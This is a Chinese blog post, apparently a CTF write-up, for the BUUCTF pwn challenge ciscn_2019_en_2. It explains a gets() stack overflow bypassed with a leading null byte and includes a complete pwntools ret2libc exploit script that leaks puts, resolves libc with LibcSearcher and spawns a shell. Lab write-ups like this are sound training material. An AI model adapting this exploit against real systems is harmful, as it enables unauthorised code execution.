BUUCTF 刷题 ciscn_2019_en_21

题目地址:https://buuoj.cn/challenges#ciscn_2019_en_2

这道题本小白已经做了无数次了,但是每次都不是完全理解,这次回去又学了点基础的知识,算是最大彻大悟的一次了。

首先checksec,64位程序开了NX保护

[*] '/home/ssy/ctf/buuctf/ciscn_2019_en_2/cis'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

然后我拖入ida并且只会f5,发现这三个函数是最有用的,其中begin函数没啥卵用。

 main函数是一个小程序的界面

 encrypt函数是一个加密函数,我们输入的字符串会被加密

 可以看到有一个非常明显的gets(s)用来栈溢出,但是这里有一个小问题,就是我们如果通过正常栈溢出的话,最后覆盖的地址会被加密,导致程序崩溃。strlen函数是一个很好的突破口。我自己做的时候很在乎v0的值,最近搞了搞汇编,gdb了一下,发现这步比较的是rbx和rax的值。其中rax是我们strlen函数的返回值也就是字符串长度,rbx下断点调试发现值为0,所以就是说我们要让strlen函数返回的值为0,那么就可以令第一个字符为'\x00',因为strlen函数遇到'\x00'就会返回,这样再构造payload就可以达到栈溢出的目的了。

RAX: 0x1 
RBX: 0x0 
RCX: 0x20 (' ')
RDX: 0x7fffffffde20 --> 0x61 ('a')
RSI: 0x7ffff7dcda83 --> 0xdcf8d0000000000a 
RDI: 0x7fffffffde20 --> 0x61 ('a')
RBP: 0x7fffffffde70 --> 0x7fffffffde90 --> 0x400c20 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffde20 --> 0x61 ('a')
RIP: 0x400acb (<encrypt+299>:	jb     0x4009e7 <encrypt+71>)
R8 : 0x7ffff7dcf8c0 --> 0x0 
R9 : 0x7ffff7fe24c0 (0x00007ffff7fe24c0)
R10: 0x3 
R11: 0x7ffff7b704d0 (<__strlen_avx2>:	mov    ecx,edi)
R12: 0x400790 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdf70 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400ac0 <encrypt+288>:	mov    rdi,rax
   0x400ac3 <encrypt+291>:	call   0x4006f0 <strlen@plt>
   0x400ac8 <encrypt+296>:	cmp    rbx,rax
=> 0x400acb <encrypt+299>:	jb     0x4009e7 <encrypt+71>
 | 0x400ad1 <encrypt+305>:	mov    edi,0x400cd5
 | 0x400ad6 <encrypt+310>:	call   0x4006e0 <puts@plt>
 | 0x400adb <encrypt+315>:	lea    rax,[rbp-0x50]
 | 0x400adf <encrypt+319>:	mov    rdi,rax
 |->   0x4009e7 <encrypt+71>:	mov    eax,DWORD PTR [rip+0x2016bf]        # 0x6020ac <x>
       0x4009ed <encrypt+77>:	mov    eax,eax
       0x4009ef <encrypt+79>:	movzx  eax,BYTE PTR [rbp+rax*1-0x50]
       0x4009f4 <encrypt+84>:	cmp    al,0x60
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde20 --> 0x61 ('a')
0008| 0x7fffffffde28 --> 0x0 
0016| 0x7fffffffde30 --> 0x0 
0024| 0x7fffffffde38 --> 0x0 
0032| 0x7fffffffde40 --> 0x0 
0040| 0x7fffffffde48 --> 0x0 
0048| 0x7fffffffde50 --> 0x7fffffff0000 --> 0x0 
0056| 0x7fffffffde58 --> 0x400790 (<_start>:	xor    ebp,ebp)
[------------------------------------------------------------------------------]

到这里我就已经没有思路了,我不知道要跳到哪里。突然想起ret2libc的题目条件,我就想或许我可以试一试ret2libc,于是ida里shift+f12,发现没有binsh,在函数栏里也没有发现system函数,题目也没有给出libc版本,那么我们只能自己去找了。

接下来的目标很明确,puts函数那么多,所以我们可以泄露puts函数的got地址,并让程序返回main函数方便我们再次利用栈溢出漏洞,构造payload。由于是64位程序所以我们用ROPgadget来构造一个ROP链并通过寄存器传入参数。(rdi,rsi,rdx,rcx,r8,r9)

payload = '\x00'+'a'*(0x50-1)+'b'*0x8+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])

然后我们完美的打印出了一串地址,需要接收。这里有个小问题还在研究,就是接收方式。我最开始是这么写的,后面算是print(hex(puts_addr))

puts_addr = u64(r.recv(8)) #0x450a7f666d811aa0

第二次是这么写的,发现地址不一样,而且只有第二次最后可以cat flag(两次都是本地运行)

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0')) #0x7f3c6bedeaa0

接收后就是一套完整的LibcSearcher了

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
bin_sh = libc.dump('str_bin_sh')+libc_base
system = libc.dump('system')+libc_base

最后再通过栈溢出用rdi将参数binsh传给system,本题完成,wp如下:

from pwn import *
from LibcSearcher import *

r = process('./cis')
elf = ELF('./cis')
#r = remote('node4.buuoj.cn','27968')

main = 0x0000000000400B28
ret = 0x00000000004006b9
pop_rdi = 0x0000000000400c83

r.recvuntil('choice!\n')
r.sendline('1')
r.recvuntil('encrypted\n')
payload = '\x00'+'a'*(0x50-1)+'b'*0x8+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])
payload+= p64(main)
r.sendline(payload)
r.recvline()
r.recvline()
#puts_addr = u64(r.recv(8))
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
bin_sh = libc.dump('str_bin_sh')+libc_base
system = libc.dump('system')+libc_base
r.sendline('1')

payload = '\x00'+'a'*(0x50-1)+'b'*0x8+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.sendline(payload)


r.interactive()

最后还有一个栈对齐还在思考,蒟蒻自学pwn学的非常不细致,曾被大佬骂过指点,于是回炉重造去了。希望可以有师傅挑挑毛病指点一下QAQ。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hello Sally

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值